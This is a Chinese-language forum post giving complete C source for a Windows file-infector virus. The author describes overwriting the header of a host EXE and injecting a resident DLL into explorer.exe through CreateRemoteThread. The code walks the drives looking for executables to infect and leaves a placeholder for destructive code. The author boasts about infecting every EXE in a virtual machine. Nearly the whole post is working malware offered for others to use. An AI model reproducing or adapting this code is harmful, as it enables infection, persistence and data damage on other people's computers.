感染方法是使病毒体覆盖宿主文件头部，把宿主头部移到文件尾部，完成感染
运行感染后的程序时病毒体获得控制权远程注入一个线程到explorer.exe进程常驻内存（搞神马事就看你的兴趣了[s:274] ）程序分为感染部分和远程线程DLL部分DLL部分编译完成后通过文件合并的方法把它加到感染部分的画面就完成了整个病毒体，只要运行就可以体验所有EXE文件被感染后的感脚（我在虚拟机上调试时感脚很爽所有exe文件几乎瞬间被感染[s:263]）
不过现在这货没鸟用了，编译出来就被杀了，动作太明显的缘故。

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <[s:9]sapi.h>
#include <Tlhelp32.h>
//最终病毒体的大小
#define MAX_BDT 20480
//待注入DLL模块的大小
#define MAX_DLL 6656
////////////////////////////////////////////////////////////////////////////////
//判断远程线程是否已成功加载DLL常驻模块，dll已加载就返回0否则返回1
int JZDLL()
{
    //要生成的DLL模块的名称
    LPSTR DLLname="c:\\windows\\win32gdidll.dll";
    LPSTR DLLt[MAX_DLL];
    //本进程的路径
    LPSTR EXEname[MAX_PATH];
    //DLL和EXE文件句柄
    DWORD dwsize;
    DWORD szdll=MAX_DLL;
    DWORD szexe=MAX_BDT-MAX_DLL;
    HANDLE hDLL;
    HANDLE hEXE;
    //获取当前进程路径
     GetModuleFileName(0,EXEname,MAX_PATH);
    //以读方式打开当前EXE进程的文件
    hEXE=CreateFile(EXEname,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);  
    if(hEXE==INVALID_HANDLE_VALUE){MessageBox(NULL,"打开exe文件失败","注入模块错误",MB_OK);return 0;}
    //读取DLL本体
    SetFilePointer(hEXE,szexe,0,FILE_BEGIN);
    ReadFile(hEXE,DLLt,szdll,&dwsize,NULL);
    CloseHandle(hEXE);
    //以读写方式创建和打开待注入DLL模块
    hDLL=CreateFile(DLLname,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);  
    if(hDLL==INVALID_HANDLE_VALUE){MessageBox(NULL,"创建DLL文件失败，DLL可能已经被装载","注入模块错误",MB_OK);return 0;}
    //写入DLL数据
    SetFilePointer(hDLL,0,0,FILE_BEGIN);
    WriteFile(hDLL,DLLt,szdll,&dwsize,NULL);
    CloseHandle(hDLL);
    return 1;
}
////////////////////////////////////////////////////////////////////////////////
//远程线程注入函数参数为目标进程的PID
int XCZR(DWORD dwProcessId)
{
    //打开目标进程
    HANDLE hProcess=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_CREATE_THREAD,FALSE,dwProcessId);
    if(hProcess==NULL){MessageBox(NULL,"无法打开目标进程！","打开进程失败！",MB_OK);return 0;}
    //待注入DLL文件路径
    LPSTR szDllPath="c:\\windows\\win32gdidll.dll";
    //在远程线程上开辟存储DLL路径的空间
    UINT nLen=(UINT)lstrlen(szDllPath)+1;
    LPVOID lpRemoteDllName=VirtualAllocEx(hProcess,NULL,nLen,MEM_COMMIT,PAGE_READWRITE);
    if(lpRemoteDllName==NULL){MessageBox(NULL,"无法在远程线程上开辟内存空间！","申请内存失败",MB_OK);return 0;}
    //把DLL名写入目标进程的内存空间
    if(WriteProcessMemory(hProcess,lpRemoteDllName,szDllPath,nLen,NULL)==NULL)
    {MessageBox(NULL,"写目标进程内存失败！","写内存失败",MB_OK);return 0;}
    //获取动态链接库函数地址
    HMODULE hModule=GetModuleHandle("kernel32.dll");
    LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE)GetProcAddress(hModule,"LoadLibraryA");
    if((DWORD)fnStartAddr==0){MessageBox(NULL,"获取动态链接库函数地址失败！","获取函数地址失败",MB_OK);return 0;}
    //创建远程线程
    HANDLE hRemoteThread=CreateRemoteThread(hProcess,NULL,0,fnStartAddr,lpRemoteDllName,0,NULL);
    if(hRemoteThread==NULL){MessageBox(NULL,"创建远程线程失败！","错误",MB_OK);return 0;}
    //等待远程线程结束
    Sleep(3000);
    //if(WaitForSingleObject(hRemoteThread,INFINITE)!=WAIT_OBJECT_0)
    //{MessageBox(NULL,"远程线程执行出错","警告",MB_OK);return 0;}
    CloseHandle(hRemoteThread);
    CloseHandle(hModule);
    CloseHandle(hProcess);
    return 0;
}
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
//监控进程发现目标进程就注入进程
//参数为进程名
int ProcessZR(LPSTR name)
{
    //进程句柄
    HANDLE hProcess;
    //进程PID号
    DWORD Pid;
    //进程快照要用到的结构体
    STARTUPINFO st;
    PROCESS_INFORMATION pi;
    PROCESSENTRY32 ps;
    HANDLE hsnapshot;
    ZeroMemory(&st,sizeof(STARTUPINFO));
    ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
    st.cb=sizeof(STARTUPINFO);
    ZeroMemory(&ps,sizeof(PROCESSENTRY32));
    ps.dwSize=sizeof(PROCESSENTRY32);
    //获取进程快照
    hsnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(hsnapshot==INVALID_HANDLE_VALUE)
    {
                                       return 0;
    }
    if(!Process32First(hsnapshot,&ps))
    {
                                      return 0;
    }
    do
    {
                                      if(lstrcmpi(ps.szExeFile,name)==0)
                                      {
                                        //找到进程
                                        Pid=ps.th32ProcessID;
                                        XCZR(Pid);
                                        CloseHandle(hsnapshot);
                                        return 0;                              
                                       }
    }while(Process32Next(hsnapshot,&ps));
    CloseHandle(hsnapshot);
return 0;  
}
////////////////////////////////////////////////////////////////////////////////
//感染函数 ,感染参数指定的EXE文件
int GR(LPSTR exe)
{
    //感染标志
    BYTE mz[2];
    //病毒体的最终大小这个数据必须准确到字节否则无法完成感染
    DWORD szBDT=MAX_BDT;
    BYTE BDT[MAX_BDT];
    DWORD dwsize;
    HANDLE hFile;
    HANDLE GRhFile;
    //当前文件名
    LPSTR nm[MAX_PATH];
    //获取当前文件名
    GetModuleFileName(0,nm,MAX_PATH);
    //读方式打开当前文件
    hFile=CreateFile(nm,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    if(hFile==INVALID_HANDLE_VALUE) {MessageBox(NULL,"jjj","jjj",MB_OK);return 0;}
    //读写方式打开被感染文件
    GRhFile=CreateFile(exe,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    if(GRhFile==INVALID_HANDLE_VALUE){MessageBox(NULL,"无法打开文件","GR",MB_OK);CloseHandle(hFile);CloseHandle(GRhFile); return 0;}
    //读感染标志判断是否需要感染
    SetFilePointer(GRhFile,-20480,0,FILE_END);
    ReadFile(GRhFile,mz,2,&dwsize,NULL);
    if(mz[0]==0x4D&&mz[1]==0x5A){MessageBox(NULL,"此文件已感染过","GR",MB_OK);CloseHandle(hFile);CloseHandle(GRhFile); return 0;}
    //重构目标文件为病毒体开辟出感染空间
    SetFilePointer(GRhFile,0,0,FILE_BEGIN);
    ReadFile(GRhFile,BDT,szBDT,&dwsize,NULL);
    SetFilePointer(GRhFile,0,0,FILE_END);
    WriteFile(GRhFile,BDT,szBDT,&dwsize,NULL);
    //读取病毒体
    SetFilePointer(hFile,0,0,FILE_BEGIN);
    ReadFile(hFile,BDT,szBDT,&dwsize,NULL);
    //感染目标文件
    SetFilePointer(GRhFile,0,0,FILE_BEGIN);
    WriteFile(GRhFile,BDT,szBDT,&dwsize,NULL);
    //关闭文件
    CloseHandle(hFile);
    CloseHandle(GRhFile);
    MessageBox(NULL,"已成功感染目标文件","警告",MB_OK);
    return 0;
}
////////////////////////////////////////////////////////////////////////////////
//遍历目录下所有文件 ，参数为需要遍历的目录
int Bianli(LPSTR mulu)
{
    //查找路径
    CHAR szFilePath[MAX_PATH];
    //查找到文件的全路径
    CHAR szFullPath[MAX_PATH];
    //遍历函数需要的结构体
    WIN32_FIND_DATA FindFileData;
    HANDLE hListFile;
    //构造目录路径字符串
    lstrcpy(szFilePath,mulu);
    lstrcat(szFilePath,"\\*");
    //查找第一个文件目录，获得查找句柄
    hListFile=FindFirstFile(szFilePath,&FindFileData);
    if(hListFile==INVALID_HANDLE_VALUE)
    {
        return 0;
    }
    else
    {
        do
        {
               //过滤.和..
               if(lstrcmp(FindFileData.cFileName,TEXT("."))==0||lstrcmp(FindFileData.cFileName,TEXT(".."))==0)
               {
                  continue;
               }
               //构造全路径
               lstrcpy(szFullPath,mulu);
               lstrcat(szFullPath,"\\");
               lstrcat(szFullPath,FindFileData.cFileName);
               //如果是目录则递归调用列举下级目录
               if(FindFileData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY)
               {
                 Bianli(szFullPath);
               }
               else
               {
                   //过滤掉不需要感染的文件
                   if(lstrcmp((FindFileData.cFileName+lstrlen(FindFileData.cFileName)-4),TEXT(".EXE"))!=0&&lstrcmp((FindFileData.cFileName+lstrlen(FindFileData.cFileName)-4),TEXT(".exe"))!=0)
                   {
                     continue;
                   }                                                                                      
                   //不是目录则输出找到文件的完整路径，可以在此次调用加密函数对遍历到的所有文件加密
                   //GR(szFullPath);
                   //printf("\n%s",szFullPath);
               }
        }
        while(FindNextFile(hListFile,&FindFileData));
     }                  
    return 0;
}
////////////////////////////////////////////////////////////////////////////////
//监控进程发现目标进程就结束进程
//参数为进程名
int KillProcess(LPSTR name)
{
    //进程句柄
    HANDLE hProcess;
    //进程PID号
    DWORD Pid;
    //进程快照要用到的结构体
    STARTUPINFO st;
    PROCESS_INFORMATION pi;
    PROCESSENTRY32 ps;
    HANDLE hsnapshot;
    ZeroMemory(&st,sizeof(STARTUPINFO));
    ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
    st.cb=sizeof(STARTUPINFO);
    ZeroMemory(&ps,sizeof(PROCESSENTRY32));
    ps.dwSize=sizeof(PROCESSENTRY32);
    //获取进程快照
    hsnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    if(hsnapshot==INVALID_HANDLE_VALUE)
    {
                                       return 0;
    }
    if(!Process32First(hsnapshot,&ps))
    {
                                      return 0;
    }
    do
    {
                                      if(lstrcmpi(ps.szExeFile,name)==0)
                                      {                                                                      
                                        //找到进程
                                        Pid=ps.th32ProcessID;
                                        //以能结束进程权限获取进程句柄
                                        hProcess=OpenProcess(PROCESS_TERMINATE,FALSE,Pid);
                                        //结束进程
                                        if(TerminateProcess(hProcess,0))Sleep(66);
                                        CloseHandle(hsnapshot);
                                        return 0;                              
                                        }
    }while(Process32Next(hsnapshot,&ps));
    CloseHandle(hsnapshot);
return 0;  
}
////////////////////////////////////////////////////////////////////////////////
//重组宿主文件
int CZ()
{
    int t=1;
    LPSTR data1,data2;
    //病毒体存储缓冲区
    DWORD szBDT=MAX_BDT;
    BYTE BDT[MAX_BDT];
    DWORD dwsize;
    //病毒体文件句柄
    HANDLE BDhFile;
    //宿主文件本体句柄
    HANDLE GRhFile;
    //宿主文件路径长度和路径存储缓冲区
    DWORD szGRname;
    LPSTR GRname[MAX_PATH];
    //当前文件名
    LPSTR nm[MAX_PATH];
    //获取当前文件名
    GetModuleFileName(0,nm,MAX_PATH);
     //读方式打开当前文件
    BDhFile=CreateFile(nm,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    if(BDhFile==INVALID_HANDLE_VALUE) {MessageBox(NULL,"打开病毒体失败","jjj",MB_OK);return 0;}
    //读取宿主文件路径
    SetFilePointer(BDhFile,-4,0,FILE_END);
    ReadFile(BDhFile,&szGRname,4,&dwsize,NULL);
    SetFilePointer(BDhFile,((-4)-szGRname),0,FILE_END);
    ReadFile(BDhFile,GRname,szGRname,&dwsize,NULL);
    GRname[szGRname+1]='\0';
    CloseHandle(BDhFile);
    //获取宿主进程名用于结束染毒的宿主进程
    data1=GRname;
    for(;t;)
    {
            if(data1[0]=='\\') data2=data1;
            if(data1[0]=='\0') t=0;
            data1++;
     }
     data2++;
    // MessageBox(NULL,data2,"lll",MB_OK);
     KillProcess(data2);
    //打开宿主文件
    GRhFile=CreateFile(GRname,GENERIC_WRITE|GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);  
    if(GRhFile==INVALID_HANDLE_VALUE) {MessageBox(NULL,nm,"打开宿主文件失败",MB_OK);return 0;}
    //读取宿主的原头部
   // 此处须手工修改病毒体长度
    SetFilePointer(GRhFile,-20480,0,FILE_END);
    ReadFile(GRhFile,BDT,szBDT,&dwsize,NULL);
    //还原宿主头部
    SetFilePointer(GRhFile,0,0,FILE_BEGIN);
    WriteFile(GRhFile,BDT,szBDT,&dwsize,NULL);
    //还原宿主文件
    // 此处须手工修改病毒体长度
    SetFilePointer(GRhFile,-20480,0,FILE_END);
    SetEndOfFile(GRhFile);
    CloseHandle(GRhFile);
    //运行宿主本体
    WinExec(GRname,SW_SHOW);
    //在这里写入破坏代码
   ////////////////////////////
   //写一个远程线程的常驻内存发作DLL程序
    if(JZDLL()){ProcessZR("explorer.exe");}
    //////////////////////////////////
    //全盘感染
    CHAR szDIR[1024];
    PCHAR PszDIR;
    ZeroMemory(szDIR,1024);
    GetLogicalDriveStrings(1023,szDIR);
    PszDIR=(PCHAR)szDIR;
    //过滤A盘
    PszDIR+=(lstrlen(PszDIR)+1);
    do
   {
    //过滤C盘感染所有其他盘                            
    if(PszDIR[0]==0x63||PszDIR[0]==0x43)PszDIR+=(lstrlen(PszDIR)+1);
    (PszDIR+(lstrlen(PszDIR))-1)[0]='\x00';
    //单线程遍历感染避免多线程感染时硬盘信号灯狂闪
    Bianli(PszDIR);
    PszDIR+=(lstrlen(PszDIR)+2);
   }while(*PszDIR!='\x00');  
    return 0;
}
////////////////////////////////////////////////////////////////////////////////
//剥离函数作用是剥离病毒体生成病毒文件，执行病毒进程，写入宿主的路径
int BL()
{
    //病毒体存储缓冲区
    DWORD szBDT=MAX_BDT;
    BYTE BDT[MAX_BDT];
    DWORD dwsize;
    //病毒体文件句柄
    LPSTR xwjm[MAX_PATH];
    LPSTR data1,data2;
    int t;
    GetTempFileName("c:\\windows","znnwe",0,xwjm);//随机生成一个以znnwe开头的临时文件名
    DeleteFile(xwjm);
    data1=xwjm;
    for(t=1;t;)
    {
               if(data1[0]=='.') data2=++data1;
               if(data1[0]=='\0') t=0;
               data1++;
    }
    data2[0]='E';
    data2++;
    data2[0]='X';
    data2++;
    data2[0]='E';
    data2++;
    data2[0]='\0';
    LPSTR BDname=xwjm;
    HANDLE BDhFile;
    //感染文件本体句柄
    HANDLE GRhFile;
    //当前文件名
    LPSTR nm[MAX_PATH];
    //获取当前文件名
    GetModuleFileName(0,nm,MAX_PATH);
    DWORD szGRname=lstrlen(nm);
     //读方式打开当前文件
    GRhFile=CreateFile(nm,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    if(GRhFile==INVALID_HANDLE_VALUE) {MessageBox(NULL,"jjj","jjj",MB_OK);return 0;}
    //读取病毒体
    SetFilePointer(GRhFile,0,0,FILE_BEGIN);
    ReadFile(GRhFile,BDT,szBDT,&dwsize,NULL);
    CloseHandle(GRhFile);
    //以随机文件名生成病毒体文件
    BDhFile=CreateFile(BDname,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);  
    if(BDhFile==INVALID_HANDLE_VALUE) {MessageBox(NULL,"创建病毒体失败","jjj",MB_OK);return 0;}
    //写入病毒体
    SetFilePointer(BDhFile,0,0,FILE_BEGIN);
    WriteFile(BDhFile,BDT,szBDT,&dwsize,NULL);
    //写入宿主路径用于重组宿主文件和启动宿主
    WriteFile(BDhFile,nm,szGRname,&dwsize,NULL);
    //写入宿主路径长度信息
    WriteFile(BDhFile,&szGRname,4,&dwsize,NULL);
    CloseHandle(BDhFile);
    //运行病毒体
    WinExec(BDname,SW_SHOW);
    return 0;
}
////////////////////////////////////////////////////////////////////////////////
int WINAPI WinMain (HINSTANCE hThisInstance,
                    HINSTANCE hPrevInstance,
                    LPSTR lpszArgument,
                    int nFunsterStil)


{
    HANDLE hFile;
    //当前文件名
    LPSTR nm[MAX_PATH];
    DWORD szGR;
    //获取当前文件名
    GetModuleFileName(0,nm,MAX_PATH);              
    //读方式打开当前文件
    hFile=CreateFile(nm,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    if(hFile==INVALID_HANDLE_VALUE) {MessageBox(NULL,"错误","jjj",MB_OK);return 0;}
    szGR=GetFileSize(hFile,NULL);
    if(szGR==MAX_BDT){GR("C:\\Users\\Administrator\\Desktop\\《网络武侠经典合集典藏版》.exe");return 0;}
    if(szGR>(MAX_BDT+2000)) {BL();return 0;}
    CZ();              
    return 0;
}